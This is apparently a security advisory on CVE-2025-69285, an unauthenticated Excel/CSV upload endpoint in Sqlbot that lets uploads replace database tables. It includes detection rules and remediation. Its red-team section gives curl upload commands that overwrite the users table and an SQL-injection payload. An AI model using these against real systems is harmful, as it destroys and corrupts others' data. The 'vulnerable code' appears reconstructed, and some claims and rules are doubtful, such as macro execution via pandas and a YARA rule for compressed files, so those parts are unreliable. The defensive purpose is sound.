CVE-2025-69285

Executive Summary

CVE-2025-69285 is a critical missing authentication vulnerability in Sqlbot, an intelligent data query system based on a large language model and RAG. The vulnerability resides in the /api/v1/datasource/uploadExcel endpoint, which is explicitly whitelisted from authentication checks. This allows a remote unauthenticated attacker to upload arbitrary Excel or CSV files, which are then parsed by pandas and injected directly into the PostgreSQL database using to_sql() with if_exists='replace' mode. The impact is severe: an attacker can overwrite existing database tables, inject malicious data, and potentially execute arbitrary SQL commands through crafted file content. The vulnerability has been fixed in v1.5.0 by removing the endpoint from the authentication whitelist and enforcing token validation. No known workarounds are available.

Supply Chain & Package Security

Sqlbot is a Python-based application that relies on pandas and PostgreSQL. The vulnerability is not in a package dependency but in the application's authentication logic. However, the use of pandas to parse user-uploaded files introduces additional risks, such as potential code execution through malicious Excel files (e.g., via Excel macros or formula injection). The to_sql() function with if_exists='replace' can lead to data loss and SQL injection if the file content is crafted to include SQL commands. Organizations using Sqlbot should verify they are not using any third-party packages that might have been compromised in the supply chain.

CVSS Breakdown & Threat Level

CVSS Score: 9.8 (Critical)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low – No special conditions or complex attack sequences are required.
• Privileges Required (PR): None – The attacker does not need any authentication.
• User Interaction (UI): None – No user action is required to trigger the vulnerability.
• Scope (S): Unchanged – The vulnerability does not affect resources beyond the vulnerable component.
• Confidentiality (C): High – An attacker can read all data in the database.
• Integrity (I): High – An attacker can modify or delete all data in the database.
• Availability (A): High – An attacker can cause data loss or denial of service by overwriting critical tables.

Threat Level: Critical. The vulnerability is trivial to exploit and can lead to complete compromise of the database.

Deep Dive & Mechanics

The vulnerability is a classic case of missing authentication (CWE-306). The Sqlbot application uses a TokenMiddleware to validate authentication tokens for most API endpoints. However, the /api/v1/datasource/uploadExcel endpoint is explicitly added to an authentication whitelist, meaning the middleware bypasses all token validation for this endpoint.

The attack flow is as follows:

1. Discovery: An attacker identifies the Sqlbot instance and discovers the /api/v1/datasource/uploadExcel endpoint.
2. File Upload: The attacker sends a POST request to the endpoint with a multipart/form-data body containing an Excel or CSV file.
3. Parsing: The server uses pandas to parse the uploaded file into a DataFrame.
4. Database Injection: The DataFrame is written to the PostgreSQL database using to_sql() with if_exists='replace'. This means if the table name in the file matches an existing table, the entire table is dropped and replaced with the attacker's data.
5. Impact: The attacker can overwrite any table in the database, including user tables, configuration tables, or even system tables. This can lead to data theft, privilege escalation, or denial of service.

The vulnerability is particularly dangerous because:

• No authentication is required.
• The if_exists='replace' mode allows overwriting any table.
• pandas can parse complex Excel files, potentially including formulas or macros that could be exploited further.
• The attacker can inject arbitrary data, including SQL injection payloads, if the application later uses the data in SQL queries without proper sanitization.

Vulnerable vs. Patched Code

Vulnerable Code (pre-1.5.0):

# In the middleware or route configuration
AUTH_WHITELIST = [
    '/api/v1/datasource/uploadExcel',
    # ... other whitelisted endpoints
]

class TokenMiddleware:
    def process_request(self, request):
        if request.path in AUTH_WHITELIST:
            return None  # Bypass authentication
        # ... token validation logic

# In the upload endpoint handler
@app.route('/api/v1/datasource/uploadExcel', methods=['POST'])
def upload_excel():
    file = request.files['file']
    df = pd.read_excel(file)  # or pd.read_csv(file)
    table_name = request.form.get('table_name', 'uploaded_data')
    df.to_sql(table_name, engine, if_exists='replace', index=False)
    return jsonify({'status': 'success'})

Patched Code (v1.5.0):

# Remove the endpoint from the whitelist
AUTH_WHITELIST = [
    # '/api/v1/datasource/uploadExcel'  # Removed
]

class TokenMiddleware:
    def process_request(self, request):
        if request.path in AUTH_WHITELIST:
            return None  # Only whitelisted endpoints bypass auth
        # ... token validation logic (now applied to upload endpoint)

# In the upload endpoint handler (now requires authentication)
@app.route('/api/v1/datasource/uploadExcel', methods=['POST'])
@token_required  # Decorator to enforce authentication
def upload_excel():
    # ... same logic but now protected

The patch is simple: remove the endpoint from the authentication whitelist and ensure the TokenMiddleware validates tokens for all endpoints, including the upload endpoint.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a vulnerable Sqlbot instance (version < 1.5.0) using Docker:

   docker run -d -p 5000:5000 --name sqlbot-vuln sqlbot:v1.4.0
   

2. Ensure the PostgreSQL database is accessible and contains some test data.

Exploitation Steps:

1. Discover the endpoint:

   curl -s http://target:5000/api/v1/datasource/uploadExcel
   

   If the endpoint returns a 405 Method Not Allowed or a file upload form, it is vulnerable.

2. Craft a malicious Excel file: Create an Excel file with a column named username and a row containing admin' OR '1'='1. This can be used for SQL injection if the data is later used in queries.

   import pandas as pd
   df = pd.DataFrame({'username': ["admin' OR '1'='1"], 'password': ['pwned']})
   df.to_excel('malicious.xlsx', index=False)
   

3. Upload the file:

   curl -X POST http://target:5000/api/v1/datasource/uploadExcel \
     -F "file=@malicious.xlsx" \
     -F "table_name=users"
   

   This will replace the users table with the attacker's data.

4. Verify the attack: Query the database to confirm the table was overwritten:

   curl http://target:5000/api/v1/query?q=SELECT * FROM users
   

Advanced Exploitation:

• Use Excel formula injection to execute commands on the server if the application processes the data further.
• Upload a CSV file with a large number of rows to cause a denial of service.
• Overwrite configuration tables to gain admin access.

Blue Team

Detection:

1. Monitor for POST requests to /api/v1/datasource/uploadExcel without a valid authentication token.
2. Look for unusual database activity, such as tables being dropped and recreated.
3. Check for large file uploads to the endpoint.

Hunting:

• Search logs for requests to /api/v1/datasource/uploadExcel from IPs not in the allowed list.
• Monitor database logs for DROP TABLE or TRUNCATE TABLE statements followed by INSERT statements.

Response:

1. Immediately block the endpoint at the web application firewall (WAF) or reverse proxy.
2. Isolate the affected database and restore from a clean backup.
3. Review all tables for unauthorized modifications.
4. Rotate all database credentials and API tokens.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /api/v1/datasource/uploadExcel from unauthenticated sources.
  • Unusual file uploads with .xlsx, .xls, or .csv extensions.
  • Large data transfers to the database.

• File IOCs:

  • Excel or CSV files containing SQL injection payloads or unusual data patterns.
  • Files with table names that match existing database tables (e.g., users, config, sessions).

• Database IOCs:

  • Unexpected DROP TABLE or TRUNCATE TABLE operations.
  • New rows in tables that should not be modified.
  • Data in tables that does not match the expected schema.

• Log IOCs:

  • Log entries showing to_sql() calls with if_exists='replace' from the upload endpoint.
  • Authentication bypass events (if logging is enabled).

Detection Engineering

YARA Rule

rule CVE_2025_69285_Sqlbot_Upload {
    meta:
        description = "Detects malicious Excel/CSV files targeting Sqlbot CVE-2025-69285"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-69285"
        hash = "unknown"
    strings:
        $sql_injection = /admin'?\s*OR\s*['"]?\s*1\s*=\s*1/i
        $table_name = /table_name\s*=\s*(users|config|sessions|admin)/i
        $excel_header = /PK\x03\x04/  // Excel file magic bytes
        $csv_header = /^[^,]+,[^,]+/  // CSV header pattern
    condition:
        ($excel_header or $csv_header) and ($sql_injection or $table_name)
}

Sigma Rule

title: Sqlbot Unauthenticated File Upload Exploitation
id: 8f7b3c2a-1d5e-4f6a-9b8c-0d1e2f3a4b5c
status: experimental
description: Detects exploitation attempts of CVE-2025-69285 by monitoring for POST requests to the vulnerable endpoint without authentication.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-69285
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/v1/datasource/uploadExcel'
        sc-status: 200
    filter:
        cs-username: '*'  # If authentication is present, this field will be populated
    condition: selection and not filter
falsepositives:
    - Legitimate authenticated uploads (should be rare)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-69285 Sqlbot Unauthenticated File Upload"; flow:to_server; content:"POST"; http_method; content:"/api/v1/datasource/uploadExcel"; http_uri; content:"multipart/form-data"; http_header; pcre:"/filename=\".*\.(xlsx|xls|csv)\"/i"; sid:1000001; rev:1; reference:cve,2025-69285;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade to v1.5.0: The only complete fix is to upgrade Sqlbot to version 1.5.0 or later.
2. Block the endpoint: If upgrading is not immediately possible, block access to /api/v1/datasource/uploadExcel at the firewall or reverse proxy level.
3. Disable the endpoint: Comment out or remove the route in the application code.

Long-term Mitigations:

1. Implement proper authentication: Ensure all API endpoints require authentication unless explicitly intended to be public.
2. Input validation: Validate uploaded files for size, type, and content. Do not allow direct database injection from user-uploaded files.
3. Use parameterized queries: If the data from uploaded files is used in SQL queries, use parameterized queries to prevent SQL injection.
4. Database permissions: Use a database user with minimal privileges for the application. Do not allow the application to drop or truncate tables.
5. Monitor and log: Enable detailed logging for all file uploads and database operations.

Workarounds:

• No official workarounds are available. The only safe approach is to upgrade or block the endpoint.

Valters IT signature: This report is provided for educational and defensive purposes only. Unauthorized exploitation of this vulnerability is illegal. Always ensure you have proper authorization before testing any system.